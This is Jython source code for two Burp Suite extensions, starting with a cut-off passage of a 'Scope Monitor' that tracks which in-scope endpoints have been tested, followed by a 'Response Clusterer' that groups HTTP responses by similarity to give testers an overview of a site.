self.handleRepeaterOptionButton) self.repeaterOptionButton.setBounds(50, 330, 420, 30) self.scopeOptionButton = JCheckBox("Follow Burp Target In Scope rules") self.scopeOptionButton.setSelected(True) self.scopeOptionButton.addActionListener(self.handleScopeOptionButton) self.scopeOptionButton.setBounds(50, 350, 420, 30) self.startOptionButton = JCheckBox("Autostart Scope Monitor") self.startOptionButton.setSelected(True) self.startOptionButton.addActionListener(self.handleStartOption) self.startOptionButton.setBounds(50, 350 + Y_OPTION_SPACING, 420, 30) self.markTestedRequestsProxy = JCheckBox( "Color request in Proxy tab if analyzed") self.markTestedRequestsProxy.setSelected(True) self.markTestedRequestsProxy.addActionListener( self.handleTestedRequestsProxy) self.markTestedRequestsProxy.setBounds(50, 350 + Y_OPTION_SPACING * 2, 420, 30) self.markNotTestedRequestsProxy = JCheckBox( "Color request in Proxy tab if NOT analyzed") self.markNotTestedRequestsProxy.setSelected(True) self.markNotTestedRequestsProxy.addActionListener( self.handleNotTestedRequestsProxy) self.markNotTestedRequestsProxy.setBounds(50, 350 + Y_OPTION_SPACING * 3, 420, 30) self.saveButton = JButton("Save now") self.saveButton.addActionListener(self.handleSaveButton) self.saveButton.setBounds(X_BASE + 320, 95, 90, 30) self.loadButton = JButton("Load now") self.loadButton.addActionListener(self.handleLoadButton) self.loadButton.setBounds(X_BASE + 420, 95, 90, 30) self.selectPath = JButton("Select path") self.selectPath.addActionListener(self.selectExportFile) self.selectPath.setBounds(X_BASE + 530, 60, 120, 30) self.selectPathText = JTextArea("") self.selectPathText.setBounds(X_BASE, 60, 510, 30) self.selectPathLabel = JLabel("State file:") self.selectPathLabel.setBounds(X_BASE, 30, 200, 30) bGroup = ButtonGroup() bGroup.add(self.showAllButton) bGroup.add(self.showNewButton) bGroup.add(self.showTestedButton) config.add(self.clearButton) config.add(self.startButton) config.add(self.startOptionButton) config.add(self.showAllButton) config.add(self.showNewButton) config.add(self.showTestedButton) config.add(self.badExtensionsButton) config.add(self.badExtensionsText) config.add(self.badExtensionsLabel) config.add(self.badMimesButton) config.add(self.badMimesText) config.add(self.badMimesLabel) config.add(self.badExtensionsDefaultButton) config.add(self.badMimesDefaultButton) config.add(self.otherLabel) config.add(self.repeaterOptionButton) config.add(self.scopeOptionButton) config.add(self.markTestedRequestsProxy) config.add(self.markNotTestedRequestsProxy) iexport.add(self.saveButton) iexport.add(self.loadButton) iexport.add(self.selectPath) iexport.add(self.selectPathText) iexport.add(self.selectPathLabel) iexport.add(self.otherLabel2) iexport.add(self.autoSaveOption) self._config.addTab("General", config) self._config.addTab("Import/Export", iexport) ##### end config pane self._parentPane.addTab("Monitor", self._splitpane) self._parentPane.addTab("Config", self._config) # table of log entries self.logTable = Table(self) #self.logTable.setDefaultRenderer(self.logTable.getColumnClass(0), ColoredTableCellRenderer(self)) self.logTable.setAutoCreateRowSorter(True) self.logTable.setRowSelectionAllowed(True) renderer = ColoredTableCellRenderer(self) #column = TableColumn(0, 190, renderer, None) print 'Initiating... ' # this could be improved by fetching initial dimensions self.logTable.getColumn("URL").setPreferredWidth(720) # noscope self.logTable.getColumn("URL").setResizable(True) self.logTable.getColumn("Checked").setCellRenderer(renderer) self.logTable.getColumn("Checked").setPreferredWidth(80) self.logTable.getColumn("Checked").setMaxWidth(80) self.logTable.getColumn("Method").setPreferredWidth(120) #self.logTable.getColumn("Method").setMaxWidth(120) self.logTable.getColumn("Method").setResizable(True) self.logTable.getColumn("Time").setPreferredWidth(120) # noscope self.logTable.getColumn("Time").setResizable(True) scrollPane = JScrollPane(self.logTable) self._splitpane.setLeftComponent(scrollPane) # tabs with request/response viewers tabs = JTabbedPane() self._requestViewer = callbacks.createMessageEditor(self, False) self._responseViewer = callbacks.createMessageEditor(self, False) tabs.addTab("Request", self._requestViewer.getComponent()) tabs.addTab("Response", self._responseViewer.getComponent()) self._splitpane.setRightComponent(tabs) ## Row sorter shit #self._tableRowSorterAutoProxyAutoAction = CustomTableRowSorter(self.logTable.getModel()) #self.logTable.setRowSorter(self._tableRowSorterAutoProxyAutoAction) markAnalyzedButton = JMenuItem("Mark Requests as Analyzed") markAnalyzedButton.addActionListener(markRequestsHandler(self, True)) markNotAnalyzedButton = JMenuItem("Mark Requests as NOT Analyzed") markNotAnalyzedButton.addActionListener( markRequestsHandler(self, False)) sendRequestMenu = JMenuItem("Send Request to Repeater") sendRequestMenu.addActionListener(sendRequestRepeater(self)) deleteRequestMenu = JMenuItem("Delete request") deleteRequestMenu.addActionListener(deleteRequestHandler(self)) self.menu = JPopupMenu("Popup") self.menu.add(markAnalyzedButton) self.menu.add(markNotAnalyzedButton) self.menu.add(sendRequestMenu) self.menu.add(deleteRequestMenu) # customize our UI components callbacks.customizeUiComponent(self._parentPane) callbacks.customizeUiComponent(self._splitpane) callbacks.customizeUiComponent(self._config) callbacks.customizeUiComponent(config) callbacks.customizeUiComponent(self.logTable) callbacks.customizeUiComponent(scrollPane) callbacks.customizeUiComponent(tabs) callbacks.registerContextMenuFactory(self) callbacks.registerExtensionStateListener(self) callbacks.registerScannerCheck(passiveScanner(self)) # add the custom tab to Burp's UI callbacks.addSuiteTab(self) # register ourselves as an HTTP listener callbacks.registerHttpListener(self) self.loadConfigs() print "Loaded!" print "Experimental import state.. " self.importState("") self.SC = sched.scheduler(time.time, time.sleep) self.SCC = self.SC.enter(10, 1, self.autoSave, (self.SC, )) self.SC.run() return ##### CUSTOM CODE ##### def loadConfigs(self): if self._callbacks.loadExtensionSetting("CONFIG_AUTOSTART") == "False": self.startOptionButton.setSelected(False) self.startOrStop(None, False) else: self.startOptionButton.setSelected(True) self.startOrStop(None, True) if self._callbacks.loadExtensionSetting("exportFile") != "": self.selectPathText.setText( self._callbacks.loadExtensionSetting("exportFile")) if self._callbacks.loadExtensionSetting("CONFIG_REPEATER") == "True": self.repeaterOptionButton.setSelected(True) else: self.repeaterOptionButton.setSelected(False) if self._callbacks.loadExtensionSetting("CONFIG_INSCOPE") == "True": self.scopeOptionButton.setSelected(True) else: self.scopeOptionButton.setSelected(False) if self._callbacks.loadExtensionSetting("CONFIG_AUTOSAVE") == "True": self.autoSaveOption.setSelected(True) else: self.autoSaveOption.setSelected(False) if self._callbacks.loadExtensionSetting( "CONFIG_HIGHLIGHT_TESTED") == "True": self.markTestedRequestsProxy.setSelected(True) else: self.markTestedRequestsProxy.setSelected(False) if self._callbacks.loadExtensionSetting( "CONFIG_HIGHLIGHT_NOT_TESTED") == "True": self.markNotTestedRequestsProxy.setSelected(True) else: self.markNotTestedRequestsProxy.setSelected(False) return def selectExportFile(self, event): parentFrame = JFrame() fileChooser = JFileChooser() fileChooser.setDialogTitle("Specify file to save state") fileChooser.setFileSelectionMode(JFileChooser.FILES_ONLY) userSelection = fileChooser.showOpenDialog(parentFrame) if (userSelection == JFileChooser.APPROVE_OPTION): fileLoad = fileChooser.getSelectedFile() filename = fileLoad.getAbsolutePath() self.selectPathText.setText(filename) print 'Filename selected:' + filename self._callbacks.saveExtensionSetting("exportFile", filename) return def extensionUnloaded(self): print 'extension unloading.. ' print 'canceling scheduler.. ' map(self.SC.cancel, self.SC.queue) return def loadBadExtensions(self): bad = self._callbacks.loadExtensionSetting("badExtensions") if bad: self.badExtensionsText.setText(bad) # transform text to array bad = bad.replace(" ", "") self.BAD_EXTENSIONS = bad.split(",") else: print 'no bad extension saved, reverting' self.badExtensionsText.setText(", ".join(self.BAD_EXTENSIONS)) def loadBadMimes(self): bad = self._callbacks.loadExtensionSetting("badMimes") if bad: self.badMimesText.setText(bad) bad = bad.replace(" ", "") self.BAD_MIMES = bad.split(",") else: print 'no bad mimes saved, reverting' self.badMimesText.setText(", ".join(self.BAD_MIMES)) ## GLOBAL CONTEXT CODE ## def createMenuItems(self, invocation): responses = invocation.getSelectedMessages() if responses > 0: ret = LinkedList() analyzedMenuItem = JMenuItem("Mark as analyzed") notAnalyzedMenuItem = JMenuItem("Mark as NOT analyzed") for response in responses: analyzedMenuItem.addActionListener( handleMenuItems(self, response, "analyzed")) notAnalyzedMenuItem.addActionListener( handleMenuItems(self, response, "not")) ret.add(analyzedMenuItem) ret.add(notAnalyzedMenuItem) return ret def getEndpoint(self, requestResponse): url_ = str(self._helpers.analyzeRequest(requestResponse).getUrl()) o = urlparse(url_) url = o.scheme + "://" + o.netloc + o.path #print "Url3: " + url return url def getMethod(self, requestResponse): return self._helpers.analyzeRequest(requestResponse).getMethod() ##### CUSTOM CODE ##### def handleTestedRequestsProxy(self, event): self._callbacks.saveExtensionSetting( "CONFIG_HIGHLIGHT_TESTED", str(self.markTestedRequestsProxy.isSelected())) return def handleNotTestedRequestsProxy(self, event): self._callbacks.saveExtensionSetting( "CONFIG_HIGHLIGHT_NOT_TESTED", str(self.markNotTestedRequestsProxy.isSelected())) return def handleStartOption(self, event): self._callbacks.saveExtensionSetting( "CONFIG_AUTOSTART", str(self.startOptionButton.isSelected())) #print 'saving autostart: ' + str(self.startOptionButton.isSelected()) return def startOrStop(self, event, autoStart): if (self.startButton.getText() == MONITOR_OFF_LABEL) or autoStart: self.startButton.setText(MONITOR_ON_LABEL) self.startButton.setBackground(GREEN_COLOR) self.STATUS = True else: self.startButton.setText(MONITOR_OFF_LABEL) self.startButton.setBackground(RED_COLOR) self.STATUS = False def handleStartButton(self, event): self.startOrStop(event, False) def handleAutoSaveOption(self, event): self._callbacks.saveExtensionSetting( "CONFIG_AUTOSAVE", str(self.autoSaveOption.isSelected())) return def handleSaveButton(self, event): self.exportState("") def handleLoadButton(self, event): self.importState("") def handleRepeaterOptionButton(self, event): self._callbacks.saveExtensionSetting( "CONFIG_REPEATER", str(self.repeaterOptionButton.isSelected())) return def handleScopeOptionButton(self, event): self.CONFIG_INSCOPE = self.scopeOptionButton.isSelected() self._callbacks.saveExtensionSetting("CONFIG_INSCOPE", str(self.CONFIG_INSCOPE)) return def handleBadExtensionsButton(self, event): #print "before BAD array: " print self.BAD_EXTENSIONS extensions = self.badExtensionsText.getText() self._callbacks.saveExtensionSetting("badExtensions", extensions) print 'New extensions blocked: ' + extensions bad = extensions.replace(" ", "") self.BAD_EXTENSIONS = bad.split(",") #print "BAD array: " #print self.BAD_EXTENSIONS def handleBadExtensionsDefaultButton(self, event): self.BAD_EXTENSIONS = self.BAD_EXTENSIONS_DEFAULT self.badExtensionsText.setText(", ".join(self.BAD_EXTENSIONS)) self._callbacks.saveExtensionSetting("badExtensions", ", ".join(self.BAD_EXTENSIONS)) return def handleBadMimesDefaultButton(self, event): self.BAD_MIMES = self.BAD_MIMES_DEFAULT self.badMimesText.setText(", ".join(self.BAD_MIMES)) self._callbacks.saveExtensionSetting("badExtensions", ", ".join(self.BAD_MIMES)) return def handleBadMimesButton(self, event): mimes = self.badMimesText.getText() self._callbacks.saveExtensionSetting("badMimes", mimes) print 'New mimes blocked: ' + mimes bad = mimes.replace(" ", "") self.BAD_MIMES = bad.split(",") def handleClearButton(self, event): print 'Clearing table' self._lock.acquire() self._log = ArrayList() self._fullLog = ArrayList() self._lock.release() return def handleRadioConfig(self, event): #print ' radio button clicked ' #print event.getActionCommand() self._lock.acquire() if event.getActionCommand() == SHOW_ALL_BUTTON_LABEL: print "Showing all" self._log = self._fullLog elif event.getActionCommand() == SHOW_NEW_BUTTON_LABEL: print "Showing new scope only" tmpLog = ArrayList() for item in self._fullLog: if not (item._analyzed): tmpLog.add(item) self._log = tmpLog elif event.getActionCommand() == SHOW_TEST_BUTTON_LABEL: print "Showing tested scope only" tmpLog = ArrayList() for item in self._fullLog: if item._analyzed: tmpLog.add(item) self._log = tmpLog else: print "unrecognized radio label" self.fireTableDataChanged() #self._tableRowSorterAutoProxyAutoAction.toggleSortOrder(1) #self.toggleSortOrder(2) #self.logTable.toggleSortOrder(2) # refresh table? self._lock.release() # # implement ITab # def getTabCaption(self): return "Scope Monitor" def getUiComponent(self): return self._parentPane # # implement IHttpListener # def markAnalyzed(self, messageIsRequest, state): #print "markAnalyzed..." self._lock.acquire() url = self.getEndpoint(messageIsRequest) for item in self._log: if url == item._url: item._analyzed = state self._lock.release() return self._lock.release() return def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): # only process requests #print "processing httpMessage.." #print messageIsRequest print "processHttpMessage toolFlag: " + str(toolFlag) #print " -- " + str(self._callbacks.getToolName(toolFlag)) + " -- " if not (self.STATUS): return #print "global handler status: (true): " + str(self.GLOBAL_HANDLER) #print "(processHTTP) messageIsRequest" #print messageIsRequest isFromPassiveScan = False if toolFlag == 1234: print "1 processHttpMessage: processing passiveScan item" isFromPassiveScan = True if toolFlag != 1234: if messageIsRequest and not (self.GLOBAL_HANDLER): print "1.5 processHttpMessage droping message" return if self.scopeOptionButton.isSelected(): url = self._helpers.analyzeRequest(messageInfo).getUrl() if not self._callbacks.isInScope(url): #print 'Url not in scope, skipping.. ' return #print "still processing httpMessage.., request came from: " + self._callbacks.getToolName(toolFlag) if toolFlag == 1234: print "2 processHttpMessage: processing passiveScan item; setting toolFlag to proxy (4)" toolFlag = 4 #toolFlag = 4 if ((self._callbacks.getToolName(toolFlag) != "Repeater") and (self._callbacks.getToolName(toolFlag) != "Proxy") and (self._callbacks.getToolName(toolFlag) != "Target")): #print 'Aborting processHTTP, request came from: ' + str(self._callbacks.getToolName(toolFlag)) print "Droping request from " + str( self._callbacks.getToolName(toolFlag)) return #print "---> still processing from tool: " + str(self._callbacks.getToolName(toolFlag)) url = self.getEndpoint(messageInfo) method = self.getMethod(messageInfo) #print "(processHTTP) before extensions check: " + url for extension in self.BAD_EXTENSIONS: if url.endswith(extension): return if messageInfo.getResponse(): mime = self._helpers.analyzeResponse( messageInfo.getResponse()).getStatedMimeType() #print 'Declared mime:' + mime mime = mime.lower() if mime in self.BAD_MIMES: #print 'Bad mime:' + mime return #print "[httpMessage] before lock" # create a new log entry with the message details self._lock.acquire() row = self._log.size() for item in self._log: if url == item._url: if method == self._helpers.analyzeRequest( item._requestResponse).getMethod(): #print 'duplicate URL+method, skipping.. ' self._lock.release() # has it been analyzed? analyzed = False if self._callbacks.getToolName(toolFlag) == "Repeater": if self.repeaterOptionButton.isSelected(): analyzed = True #print "[httpMessage] setting analyzed as true" if self.GLOBAL_HANDLER_ANALYZED: analyzed = True item._analyzed = analyzed self.paintItems(messageInfo, item) return #print "[httpMessage] before setComment" if not (isFromPassiveScan): messageInfo.setComment(SCOPE_MONITOR_COMMENT) # reached here, must be new entry analyzed = False if self._callbacks.getToolName(toolFlag) == "Repeater": if self.repeaterOptionButton.isSelected(): analyzed = True #print "[httpMessage] setting analyzed as true" if self.GLOBAL_HANDLER_ANALYZED: analyzed = True #print "[httpMessage] after comment" #print 'in httpmessage, response:' #print self._helpers.analyzeResponse(messageInfo.getResponse()) date = datetime.datetime.fromtimestamp( time.time()).strftime('%H:%M:%S %d %b %Y') entry = LogEntry(toolFlag, self._callbacks.saveBuffersToTempFiles(messageInfo), url, analyzed, date, method) #print "toolFlag: " + str(toolFlag) #print "(processHTTP) Adding URL: " + url self._log.add(entry) self._fullLog.add(entry) self.fireTableRowsInserted(row, row) self.paintItems(messageInfo, entry) self._lock.release() #print "columnCoun:" + str(self.logTable.getColumnCount()) # # extend AbstractTableModel # def paintItems(self, messageInfo, item): ''' print "in paint Items" print "mark color is: (true)" + str(self.markTestedRequestsProxy.isSelected()) print "global handler analyzed: :" + str(self.GLOBAL_HANDLER_ANALYZED) print "item analyzed should be the same ^^:" + str(item._analyzed) ''' if (self.markTestedRequestsProxy.isSelected()) and ( item._analyzed and self.GLOBAL_HANDLER_ANALYZED): messageInfo.setHighlight("green") return if self.markNotTestedRequestsProxy.isSelected() and not ( item._analyzed): messageInfo.setHighlight("red") def getRowCount(self): try: return self._log.size() except: return 0 def getColumnCount(self): return 4 def getColumnName(self, columnIndex): if columnIndex == 0: return "Checked" if columnIndex == 1: return "URL" if columnIndex == 2: return "Method" if columnIndex == 3: return "Time" def getValueAt(self, rowIndex, columnIndex): logEntry = self._log.get(rowIndex) #self.setBackground(Color.GREEN) return self.returnEntry(rowIndex, columnIndex, logEntry) if self.showNewButton.isSelected() and not (logEntry._analyzed): return self.returnEntry(rowIndex, columnIndex, logEntry) elif self.showTestedButton.isSelected() and logEntry._analyzed: return self.returnEntry(rowIndex, columnIndex, logEntry) elif self.showAllButton.isSelected(): return self.returnEntry(rowIndex, columnIndex, logEntry) def returnEntry(self, rowIndex, columnIndex, entry): logEntry = self._log.get(rowIndex) if columnIndex == 0: if logEntry._analyzed: return "True" else: return "False" if columnIndex == 1: return self._helpers.urlDecode(logEntry._url) if columnIndex == 2: return logEntry._method if columnIndex == 3: return logEntry._date # return date return "" # # implement IMessageEditorController # this allows our request/response viewers to obtain details about the messages being displayed # def getHttpService(self): return self._currentlyDisplayedItem.getHttpService() def getRequest(self): #print 'getRequest called' return self._currentlyDisplayedItem.getRequest() def getResponse(self): #print 'getResponse called: ' print self._currentlyDisplayedItem.getResponse() return self._currentlyDisplayedItem.getResponse() def exportRequest(self, entity, filename): line = str(entity._analyzed) + "," line = line + self._helpers.urlEncode(entity._url).replace( ",", "%2c") + "," # URL is encoded so we should be good line = line + entity._method + "," line = line + entity._date line = line + '\n' #print 'Exporting: "' + line + '"' return line def exportUrlEncode(self, url): return self._helpers.urlEncode(url).replace(",", "%2c") def exportState(self, filename): filename = self.selectPathText.getText() if filename == "": filename = self._callbacks.loadExtensionSetting("exportFile") print 'Empty filename, skipping export' return else: self._callbacks.saveExtensionSetting("exportFile", filename) print 'saving state to: ' + filename savedUrls = [] self._lockFile.acquire() try: with open(filename, 'r') as fr: savedEntries = fr.read().splitlines() savedUrls = [] for savedEntry in savedEntries: savedUrls.append(savedEntry.split(",")[1]) #print "savedUrls len: " + str(len(savedUrls)) #print "savedUrls:" #print savedUrls fr.close() except IOError: print "Autosaving skipped as file doesn't exist yet" with open(filename, 'a+') as f: for item in self._log: if self.exportUrlEncode(item._url) not in savedUrls: line = self.exportRequest(item, "xx") f.write(line) f.close() self._lockFile.release() return def importState(self, filename): filename = self.selectPathText.getText() if filename == "": filename = self._callbacks.loadExtensionSetting("exportFile") print 'Empty filename, skipping import' return else: self._callbacks.saveExtensionSetting("exportFile", filename) print 'loading state from: ' + filename self.STATUS = False self._lockFile.acquire() with open(filename, 'r') as f: proxy = self._callbacks.getProxyHistory() proxyItems = [] for item in proxy: if item.getComment(): if SCOPE_MONITOR_COMMENT in item.getComment(): proxyItems.append(item) print 'proxyItems has: ' + str(len(proxyItems)) # TODO - if no proxy items, sraight to import lines = f.read().splitlines() for line in lines: data = line.split(",") url = data[1] url = self._helpers.urlDecode(url) #print 'Saving: ' + url if not self._callbacks.isInScope(URL(url)): print '-- imported url not in scope, skipping.. ' continue analyzed = False if data[0] == "True": analyzed = True #print '.. simulating url search.. ' requestResponse = None for request in proxyItems: if url == self.getEndpoint(request): #print 'Match found when importing for url: ' + url requestResponse = request break self._log.add( LogEntry("", requestResponse, url, analyzed, data[3], data[2])) self._lockFile.release() print 'finished loading.. ' #print 'size: ' + str(self._log.size()) self.fireTableDataChanged() if self.startButton.getText() == MONITOR_ON_LABEL: self.STATUS = True return def autoSave(self, sc): #print 'autosaving.. lol what' if self.autoSaveOption.isSelected(): print "[" + self.getTime( ) + "] autosaving to " + self._callbacks.loadExtensionSetting( "exportFile") self.exportState("") self.SC.enter(self.AUTOSAVE_TIMEOUT, 1, self.autoSave, (self.SC, )) return def getTime(self): date = datetime.datetime.fromtimestamp( time.time()).strftime('%H:%M:%S') return date
class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel, ActionListener, DocumentListener): # # implement IBurpExtender # def registerExtenderCallbacks(self, callbacks): # keep a reference to our callbacks object self._callbacks = callbacks # obtain an extension helpers object self._helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName("Response Clusterer") # create the log and a lock on which to synchronize when adding log entries self._log = ArrayList() self._lock = Lock() # main split pane self._main_jtabedpane = JTabbedPane() # The split pane with the log and request/respponse details self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT) # table of log entries logTable = Table(self) scrollPane = JScrollPane(logTable) self._splitpane.setLeftComponent(scrollPane) # List of log entries self._log_entries = [] # tabs with request/response viewers tabs = JTabbedPane() self._requestViewer = callbacks.createMessageEditor(self, False) self._responseViewer = callbacks.createMessageEditor(self, False) tabs.addTab("Request", self._requestViewer.getComponent()) tabs.addTab("Response", self._responseViewer.getComponent()) self._splitpane.setRightComponent(tabs) #Setup the options self._optionsJPanel = JPanel() gridBagLayout = GridBagLayout() gbc = GridBagConstraints() self._optionsJPanel.setLayout(gridBagLayout) self.max_clusters = 500 self.JLabel_max_clusters = JLabel("Maximum amount of clusters: ") gbc.gridy = 0 gbc.gridx = 0 self._optionsJPanel.add(self.JLabel_max_clusters, gbc) self.JTextField_max_clusters = JTextField(str(self.max_clusters), 5) self.JTextField_max_clusters.getDocument().addDocumentListener(self) gbc.gridx = 1 self._optionsJPanel.add(self.JTextField_max_clusters, gbc) callbacks.customizeUiComponent(self.JLabel_max_clusters) callbacks.customizeUiComponent(self.JTextField_max_clusters) self.similarity = 0.95 self.JLabel_similarity = JLabel("Similarity (between 0 and 1)") gbc.gridy = 1 gbc.gridx = 0 self._optionsJPanel.add(self.JLabel_similarity, gbc) self.JTextField_similarity = JTextField(str(self.similarity), 5) self.JTextField_similarity.getDocument().addDocumentListener(self) gbc.gridx = 1 self._optionsJPanel.add(self.JTextField_similarity, gbc) callbacks.customizeUiComponent(self.JLabel_similarity) callbacks.customizeUiComponent(self.JTextField_similarity) self.use_quick_similar = False self.JLabel_use_quick_similar = JLabel( "Use set intersection of space splitted tokens for similarity (default: optimized difflib.SequenceMatcher.quick_ratio)" ) gbc.gridy = 2 gbc.gridx = 0 self._optionsJPanel.add(self.JLabel_use_quick_similar, gbc) self.JCheckBox_use_quick_similar = JCheckBox("") self.JCheckBox_use_quick_similar.addActionListener(self) gbc.gridx = 1 self._optionsJPanel.add(self.JCheckBox_use_quick_similar, gbc) callbacks.customizeUiComponent(self.JCheckBox_use_quick_similar) self.response_max_size = 10 * 1024 #10kb self.JLabel_response_max_size = JLabel("Response max size (bytes)") gbc.gridy = 3 gbc.gridx = 0 self._optionsJPanel.add(self.JLabel_response_max_size, gbc) self.JTextField_response_max_size = JTextField( str(self.response_max_size), 5) self.JTextField_response_max_size.getDocument().addDocumentListener( self) gbc.gridx = 1 self._optionsJPanel.add(self.JTextField_response_max_size, gbc) callbacks.customizeUiComponent(self.JLabel_response_max_size) callbacks.customizeUiComponent(self.JTextField_response_max_size) self.uninteresting_mime_types = ('JPEG', 'CSS', 'GIF', 'script', 'GIF', 'PNG', 'image') self.uninteresting_status_codes = () self.uninteresting_url_file_extensions = ('js', 'css', 'zip', 'war', 'jar', 'doc', 'docx', 'xls', 'xlsx', 'pdf', 'exe', 'dll', 'png', 'jpeg', 'jpg', 'bmp', 'tif', 'tiff', 'gif', 'webp', 'm3u', 'mp4', 'm4a', 'ogg', 'aac', 'flac', 'mp3', 'wav', 'avi', 'mov', 'mpeg', 'wmv', 'swf', 'woff', 'woff2') about = "<html>" about += "Author: floyd, @floyd_ch, http://www.floyd.ch<br>" about += "modzero AG, http://www.modzero.ch<br>" about += "<br>" about += "<h3>Getting an overview of the tested website</h3>" about += "<p style=\"width:500px\">" about += "This plugin clusters all response bodies by similarity and shows a summary, one request/response per cluster. " about += 'Adjust similarity in the options if you get too few or too many entries in the "One member of each cluster" ' about += "tab. The plugin will allow a tester to get an overview of the tested website's responses from all tools (scanner, proxy, etc.). " about += "As similarity comparison " about += "can use a lot of ressources, only small, in-scope responses that have interesting response codes, " about += "file extensions and mime types are processed. " about += "</p>" about += "</html>" self.JLabel_about = JLabel(about) self.JLabel_about.setLayout(GridBagLayout()) self._aboutJPanel = JScrollPane(self.JLabel_about) # customize our UI components callbacks.customizeUiComponent(self._splitpane) callbacks.customizeUiComponent(logTable) callbacks.customizeUiComponent(scrollPane) callbacks.customizeUiComponent(tabs) # add the splitpane and options to the main jtabedpane self._main_jtabedpane.addTab("One member of each cluster", None, self._splitpane, None) self._main_jtabedpane.addTab("Options", None, self._optionsJPanel, None) self._main_jtabedpane.addTab("About & README", None, self._aboutJPanel, None) # clusters will grow up to self.max_clusters response bodies... self._clusters = set() self.Similarity = Similarity() # Now load the already stored with self._lock: log_entries_from_storage = self.load_project_setting("log_entries") if log_entries_from_storage: for toolFlag, req, resp, url in log_entries_from_storage: try: self.add_new_log_entry(toolFlag, req, resp, url) except Exception as e: print "Exception when deserializing a stored log entry", toolFlag, url print e # Important: Do this at the very end (otherwise we could run into troubles locking up entire threads) # add the custom tab to Burp's UI callbacks.addSuiteTab(self) # register ourselves as an HTTP listener callbacks.registerHttpListener(self) # # implement what happens when options are changed # def changedUpdate(self, document): pass def removeUpdate(self, document): self.actionPerformed(None) def insertUpdate(self, document): self.actionPerformed(None) def actionPerformed(self, actionEvent): self.use_quick_similar = self.JCheckBox_use_quick_similar.isSelected() try: self.max_clusters = int(self.JTextField_max_clusters.getText()) except: self.JTextField_max_clusters.setText("200") try: self.similarity = float(self.JTextField_similarity.getText()) if self.similarity > 1.0 or self.similarity < 0.0: self.JTextField_similarity.setText("0.9") except: self.JTextField_similarity.setText("0.9") try: self.response_max_size = float( self.JTextField_response_max_size.getText()) if self.response_max_size < 0.0: self.JTextField_response_max_size.setText(str(10 * 1024)) except: self.JTextField_response_max_size.setText(str(10 * 1024)) print self.JCheckBox_use_quick_similar.isSelected( ), self.JTextField_max_clusters.getText( ), self.JTextField_similarity.getText( ), self.JTextField_response_max_size.getText() # # implement ITab # def getTabCaption(self): return "Response Clusterer" def getUiComponent(self): return self._main_jtabedpane # # implement IHttpListener # def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): if not messageIsRequest: if len(self._clusters) >= self.max_clusters: return resp = messageInfo.getResponse() if len(resp) >= self.response_max_size: print "Message was too long" return iResponseInfo = self._helpers.analyzeResponse(resp) mime_type = iResponseInfo.getStatedMimeType() if mime_type in self.uninteresting_mime_types: print "Mime type", mime_type, "is ignored" return if iResponseInfo.getStatusCode( ) in self.uninteresting_status_codes: print "Status code", iResponseInfo.getStatusCode( ), "is ignored" return req = messageInfo.getRequest() iRequestInfo = self._helpers.analyzeRequest(messageInfo) if not iRequestInfo.getUrl(): print "iRequestInfo.getUrl() returned None, so bailing out of analyzing this request" return if '.' in iRequestInfo.getUrl().getFile() and iRequestInfo.getUrl( ).getFile().split( '.')[-1] in self.uninteresting_url_file_extensions: print iRequestInfo.getUrl().getFile().split( '.')[-1], "is an ignored file extension" return if not self._callbacks.isInScope(iRequestInfo.getUrl()): print iRequestInfo.getUrl(), "is not in scope" return body = resp[iResponseInfo.getBodyOffset():] with self._lock: similarity_func = self.Similarity.similar if self.use_quick_similar: similarity_func = self.Similarity.quick_similar start_time = time.time() for response_code, item in self._clusters: if not response_code == iResponseInfo.getStatusCode(): #Different response codes -> different clusters continue if similarity_func(str(body), str(item), self.similarity): return #break else: #when no break/return occures in the for loop self.add_new_log_entry(toolFlag, req, resp, iRequestInfo.getUrl().toString()) self.save_project_setting("log_entries", self._log_entries) taken_time = time.time() - start_time if taken_time > 0.5: print "Plugin took", taken_time, "seconds to process request... body length:", len( body), "current cluster length:", len(self._clusters) print "URL:", str(iRequestInfo.getUrl()), def add_new_log_entry(self, toolFlag, request, response, service_url): self._log_entries.append((toolFlag, request, response, service_url)) iResponseInfo = self._helpers.analyzeResponse(response) body = response[iResponseInfo.getBodyOffset():] self._clusters.add((iResponseInfo.getStatusCode(), str(body))) row = self._log.size() service = CustomHttpService(service_url) r = CustomRequestResponse(None, None, service, request, response) iRequestInfo = self._helpers.analyzeRequest(r) self._log.add( LogEntry(toolFlag, self._callbacks.saveBuffersToTempFiles(r), iRequestInfo.getUrl())) self.fireTableRowsInserted(row, row) # # extend AbstractTableModel # def getRowCount(self): try: return self._log.size() except: return 0 def getColumnCount(self): return 2 def getColumnName(self, columnIndex): if columnIndex == 0: return "Tool" if columnIndex == 1: return "URL" return "" def getValueAt(self, rowIndex, columnIndex): logEntry = self._log.get(rowIndex) if columnIndex == 0: return self._callbacks.getToolName(logEntry._tool) if columnIndex == 1: return logEntry._url.toString() return "" # # implement IMessageEditorController # this allows our request/response viewers to obtain details about the messages being displayed # def getHttpService(self): return self._currentlyDisplayedItem.getHttpService() def getRequest(self): return self._currentlyDisplayedItem.getRequest() def getResponse(self): return self._currentlyDisplayedItem.getResponse() def save_project_setting(self, name, value): value = pickle.dumps(value).encode("base64") request = "GET /"+name+" HTTP/1.0\r\n\r\n" \ "You can ignore this item in the site map. It was created by the ResponseClusterer extension. The \n" \ "reason is that the Burp API is missing a certain functionality to save settings. \n" \ "TODO Burp API limitation: This is a hackish way to be able to store project-scope settings.\n" \ "We don't want to restore requests/responses of tabs in a totally different Burp project.\n" \ "However, unfortunately there is no saveExtensionProjectSetting in the Burp API :(\n" \ "So we have to abuse the addToSiteMap API to store project-specific things\n" \ "Even when using this hack we currently cannot persist Collaborator interaction checks\n" \ "(IBurpCollaboratorClientContext is not serializable and Threads loose their Python class\n" \ "functionality when unloaded) due to Burp API limitations." response = None if value: response = "HTTP/1.1 200 OK\r\n" + value rr = CustomRequestResponse( name, '', CustomHttpService('http://responseclustererextension.local/'), request, response) self._callbacks.addToSiteMap(rr) def load_project_setting(self, name): rrs = self._callbacks.getSiteMap( 'http://responseclustererextension.local/' + name) if rrs: rr = rrs[0] if rr.getResponse(): val = "\r\n".join( FloydsHelpers.jb2ps(rr.getResponse()).split("\r\n")[1:]) return pickle.loads(val.decode("base64")) else: return None else: return None
